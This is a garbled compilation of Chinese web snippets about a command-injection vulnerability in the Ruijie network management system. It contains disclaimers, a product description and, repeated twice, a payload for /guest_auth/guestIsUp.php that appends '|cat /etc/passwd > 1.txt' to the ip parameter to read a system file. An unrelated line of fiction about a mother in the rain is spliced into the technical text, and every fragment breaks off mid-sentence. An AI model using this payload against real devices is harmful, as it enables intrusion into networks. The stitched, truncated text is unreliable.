文章目录 免责声明漏洞描述漏洞原理影响版本漏洞复现修复建议 免责声明 该文章只为学习和交流，请不要做违法乱纪的事情，如有与本人无关 漏洞描述 锐捷网管系统是由北京锐捷数据时代科技有限公司开发的新一代基于云的网络管理软件，以"数据时代创新网管与信息安全"为口号，定位于终端安全、IT运营及企业服务化管理统一解决方案。 漏洞原理 在该系统的/flow_control_pi/fl

免责声明：文章来源互联网收集整理，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

那天下着很大的雨，母亲从城里走回来的时候，浑身就是一个泥人，那一刻我就知道我没有别的选择了 出现漏洞的文件在 /guest_auth/guestIsUp.php 审查源码我们发现通过命令拼接的方式构造命令执行 构造payload： /guest_auth/guestIsUp.phpmac=1&ip=127.0.0.1|cat /etc/passwd > 1.txt 然后访问页面 /gu

那天下着很大的雨，母亲从城里走回来的时候，浑身就是一个泥人，那一刻我就知道我没有别的选择了 出现漏洞的文件在 /guest_auth/guestIsUp.php 审查源码我们发现通过命令拼接的方式构造命令执行 构造payload： /guest_auth/guestIsUp.phpmac=1&ip=127.0.0.1|cat /etc/passwd > 1.txt 然后访问页面 /gu